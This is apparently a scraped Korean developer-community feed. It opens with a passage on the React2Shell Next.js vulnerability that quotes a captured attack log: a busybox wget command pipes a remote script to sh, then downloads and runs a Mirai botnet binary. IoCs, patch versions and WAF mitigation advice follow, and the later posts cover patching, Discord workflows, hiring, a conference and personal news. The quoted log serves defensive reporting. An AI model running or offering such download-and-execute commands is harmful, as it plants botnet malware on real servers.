  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1
2

最近、社内の(自社)メッセンジャーの利用をやめ、Discord を主な協業ツールとして活用している。 Webhook 用のチャンネルが一つずつ増えるにつれて活用度と満足度も高まり、全体としてかなりうまく使えていると感じている。

Slack も優れたツールではあるが、無料プランでは90日を過ぎたメッセージを確認できない点がやや残念だ。そのため、現時点の会社の状況で、Discord よりも Slack を有料で使うだけの明確なメリットがあるかというと、正直なところ判断が難しい。

一方で悩ましいのは、社外、とくに大企業の顧客との協業において、Discord を公式な協業ツールとして提案しづらい点である。ゲーミング向けメッセンジャーというイメージが依然として強く、積極的に推し出すには少し躊躇してしまう。

とはいえ、オープンソースや開発者向けのコミュニティでは、以前から Discord がかなり活発に使われている印象もある。(これは、ひとまず韓国に限った話かもしれない。)

1
2
4
1

https://nextjs.org/blog/security-update-2025-12-11

Next.js의 추가 보안 업데이트가 있습니다.

지난주에 CVE-2025-66478 보안취약점때문에 부랴부랴 패키지 업데이트한 기억이 있는데, 이번에도 몇개 패치되었네요.

Next.js를 App Router 방식으로 쓰는 개발자분들은 잊지 말고 업데이트하셔요.

fix-react2shell-next 패키지로 검사 및 업데이트 가능합니다.

❯ npx fix-react2shell-next

fix-react2shell-next - Next.js vulnerability scanner

Checking for 4 known vulnerabilities:

  - CVE-2025-66478 (critical): Remote code execution via crafted RSC payload
  - CVE-2025-55184 (high): DoS via malicious HTTP request causing server to hang and consume CPU
  - CVE-2025-55183 (medium): Compiled Server Action source code can be exposed via malicious request
  - CVE-2025-67779 (high): Incomplete fix for CVE-2025-55184 DoS via malicious RSC payload causing infinite loop

...
3

지난주 금요일에 Next.js의 보안취약점 cvss 10 (필수패치해야하는) 소식이 나와서 바로 패치대응했다. (App router 방식을 쓰면 무적권 패치해야 한다) 그리고 이번주에는 Cloudflare DNS를 쓰는 곳에 모두 Zero Trust를 도입했고 이제야(?) 마음이 편해졌다.

덧) 허용된 IP 만 By Pass 하거나, 사내 도메인 메일 인증 정책을 추가했다.

1
3
5

이 소식을 오늘 아침에야 알게되어, 부랴부랴(?) React / Next.js 의 버전 업데이트 패치를 했습니다.

  • RSC보안취약점이라서, Next.js기반으로 App router 방식을 쓰는 프로젝트 하시는 분들중에 아직 소식을 못들었다면 패치 업데이트하시면 좋을 것 같네요!

(예시)

  • Next.js 의 현재 사용중인 버전이 15.3.0 이다. 15.3.6 으로 업데이트하셔야 합니다.
  • Next.js 의 현재 사용중인 버전이 15.5.0 이다. 15.5.7 로 업데이트 하셔야 해요.

관련링크: https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp

React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

요약 보안취약점 (CVE-2025-66478, cve-2025-55182) 대응을 위한 React / Next.js 업데이트가 필요함.

사실 정확히는 Next.js 보다도 RSC기반이면 무조건 패치 업데이트해야 하는...

추가 관련 링크

1

회사에서 디스코드로 하는 일 모음

  1. 이슈트래커에 내 일감 등록되었는지 멘션 알림
  2. 서비스 중 업타임 (업다운) 알림
  3. 젠킨스 배포 시작,종료 (성공실패) 알림
  4. Gitlab CI Docker 빌드, 컨테이너 레지스트리 정상 업로드 알림
  5. ArgoCD 상태알림 (정상 싱크, 배포)
  6. 봇으로 사내 음악 공유 (봇 대기열에 노래 추가해서 같이듣기)

6번이 제일 유용합니..

(다른 거 더 추천 받습니다..)

2

Hackers Public @ Seoul 송년회 ---- 2025년의 마지막을 해커들과 함께해요.

Hackers' Public @ Seoul 송년 네트워킹 밋업은 발표보다 대화, 형식보다 연결을 중심으로 진행됩니다. 라이트닝 토크도 지원받습니다. 만들었던 것·배운 것·고민했던 이야기를 자유롭게 얘기해보도록 해요.

많은 관심 부탁드립니다~

21
1
3

大量の応募者の中から悩みに悩んで選んだエンジニアが、出社予定日の当日になっても来ない。しかも連絡も取れず、電話も切られる始末…。人への信頼がまたしても粉々になった一日だった。

「一緒に働いてから問題になるよりは、まだマシだった」とポジティブ変換しようとしてるけど、それでも「人って基本的には善良だよね」って信じようとしていた自分は……(いや無理だろこれ)。

2
4

오는 11() 8() 光云大學校(광운대학교)에서 開催(개최)되는 FOSS for All 컨퍼런스 2025에서 제가 〈야크 셰이빙: 새로운 오픈 소스의 原動力(원동력)〉이라는 主題(주제)基調演說(기조연설)을 하게 되었습니다!

올해 처음 열리는 FOSS for All 컨퍼런스는 “Free and Open Source Software for All”이라는 슬로건 아래, 모두를 ()한 오픈 소스 컨퍼런스를 目標(목표)로 하는 非營利(비영리) 오픈 소스 커뮤니티 컨퍼런스입니다.

파란色 背景의 FOSS for All 컨퍼런스 2025 發表者 카드. 右側 아래에는 發表者 洪民憙의 寫眞이 있고, 中央의 흰色 말風船 안에는 「Keynote」라는 文句와 함께 發表 題目 〈야크 셰이빙: 새로운 오픈 소스의 原動力〉이 쓰여 있다.
15
0
0
1

2025년 연말, 중소기업 개발자 채용에 대한 단상

Image

Juntai Park @arkjun@hackers.pub

회사의 면접 과정에 참여하면서 신입 개발자 채용의 어려움을 실감하게 되었다는 내용입니다. 지원자들의 높은 경쟁률과 뛰어난 스펙, 열정적인 준비에 감탄하면서도, 채용 인원의 제한으로 인해 안타까움을 느낍니다. 만약 자신이 지금 신입 구직자라면 합격하기 어려울 것이라는 생각과 함께, 20대든 40대든 모두가 버티고 배우며 나아가야 할 시기임을 강조합니다. 40대 중반 개발자의 주관적인 관점이지만, 현재 개발자 채용 시장의 현실을 엿볼 수 있는 글입니다.

Read more →
2

私は幼い頃から、典型的な男性性とは距離が有りました。私の名前である「民憙ミンヒ」も、韓国語ではかなり女性的な語感を持つ名前なので、自ら男性としてのアイデンティティを感じることがさらに難しかったのかもしれません。

長い間、社会は私を男性として見なし、私も特にその範疇に抵抗することはありませんでした。ただそういうものだと思って生きてきました。

しかし時間が経つにつれて、次第に気づくようになりました。私は単に社会が男性に要求するものを欠如しているのではなく、いわゆる「男性的価値」と呼ばれるものを、そもそも追求していないということを。時には積極的に拒否することさえあります。

そして幸運にも、配偶者の俐思リサImage@tokolovesme금강토)と出会い、お互いに深く率直な対話を交わすうちに、長い間感じていながら言語化できなかったことを、ついに表現できるようになりました。私は典型的なシスジェンダーの異性愛者男性とは、根本的に違うということを。

私はノンバイナリーであり、バイセクシュアルです。

長らく自分を男性として紹介してきたせいで、ノンバイナリーと自称することがまだ少し恥ずかしく、不慣れでもありますが、それでも親しい人々には少しずつこの真実を打ち明けようとしています。

1

프로젝트 시작전에, tRPC의 도입을 고민하다가, 학습비용과 프로젝트 기간에 대한 압박이 있어서 일단은 쓰지 않고 진행하고 있는데, Client와 Backend에서 타입일치를 위해서, 동일한 모델 선언이 반복적으로 일어나다 보니 (한쪽의 모델을 참조해서 쓸 수 있게 반쯤 자동화되어 있기는 하지만) 다음에는 (tRPC가 아니라도, 타입불일치를 막을 수 있는 어떤 장치나 무언가를) 도입해야겠다는 생각이 든다.

3

작은 SI 중소기업의 신입,주니어 개발자 채용공고에 왜 이렇게 지원자가 많은가 (약 600명이 넘는 지원자가 몰렸다.) 채용시장이 많이 안좋은가 의문을 갖고 있었는데, 문득 (혹시나) 회사의 복지정책 중 하나인 간식무제한제공때문이 아닐까 하는 생각이 들었다. (일단은 인하우스 개발인 점도 한몫하겠지만)

3

슬슬 맥미니의 용량 부족 압박이 발생하여, gdu-go[1]를 설치하고 용량 확인을 했더니 Cursor가 100GB, VSCode 가 75GB를 차지하고 있었던 건에 대하여

  • 정확히는 User Library/Application Support폴더안에 있는 Cursor 폴더와 Code 폴더
 --- /Users/arkjun/Library/Application Support ---
                         /..
  100.9 GiB █████▏    ▏/Cursor
   74.4 GiB ███▊      ▏/Code
    7.3 GiB ▎         ▏/Google
    2.2 GiB           ▏/Microsoft
    1.8 GiB           ▏/Comet

덧) 범인은 Java 프로젝트 당시에 생겨난 hprof 확장자파일들 때문이었다. (파일 하나에 9기가 정도하는 파일들이 여럿 확인되었다)


  1. About Fast disk usage analyzer with console interface written in Go https://github.com/dundee/gdu ↩︎

gdu 로 용량 확인한 화면
2